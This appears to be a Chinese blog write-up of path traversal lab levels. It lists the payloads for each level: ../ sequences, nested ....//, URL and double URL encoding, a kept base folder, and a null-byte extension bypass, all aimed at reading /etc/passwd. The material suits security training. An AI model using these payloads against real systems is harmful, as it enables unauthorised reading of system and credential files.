目录遍历靶场练习
2024-04-10 本文已影响0人
_Irving
1、/etc/passwd
-
查看抓包请求,找到文件请求
image.png
-
发送到repeater,然后修改请求参数,逐层加../
image.png
-
第二关是一个绝对路径绕过路径遍历防护
image.png
2、第三关....//....//....//etc/passwd
![](https://img.haomeiwen.com/i7752175/8f7ff38aaefd701c.png)
3、第四关:文件路径遍历,通过 URL 编码/双重编码,服务端解码绕过路径遍历
在某些情况下,例如在 URL 路径或filename请求的参数中multipart/form-data,Web 服务器可能会在将输入传递给应用程序之前删除任何目录遍历序列。有时,您可以通过对字符进行 URL 编码,甚至双重 URL 编码来绕过这种清理../。这分别导致%2e%2e%2f和%252e%252e%252f。各种非标准编码,例如..%c0%af或..%ef%bc%8f,也可能有效。
## payload
../
%2e%2e%2f
%252e%252e%252f
## ../../etc/passwd
..%252f..%252f..%252fetc/passwd
![](https://img.haomeiwen.com/i7752175/6cc563b378139ea9.png)
4、第五关:文件路径遍历,验证路径开头的绕过
应用程序可能需要用户提供的文件名以预期的基本文件夹开头,例如/var/www/images. 在这种情况下,可能可以包含所需的基本文件夹,后跟适当的遍历序列。例如:基本文件路径开头:/var/www/images/
## payload:
filename=/var/www/images/../../../etc/passwd
![](https://img.haomeiwen.com/i7752175/b234b8028daf05b3.png)
5、第六关:文件路径遍历、空字节绕过验证文件扩展名验证
应用程序可能需要用户提供的文件名以预期的文件扩展名结尾,例如.png. 在这种情况下,可以使用空字节在所需扩展名之前有效地终止文件路径。例如:
## payload:
filename=../../../etc/passwd%00.png
![](https://img.haomeiwen.com/i7752175/ccb7dd8e542f4a2c.png)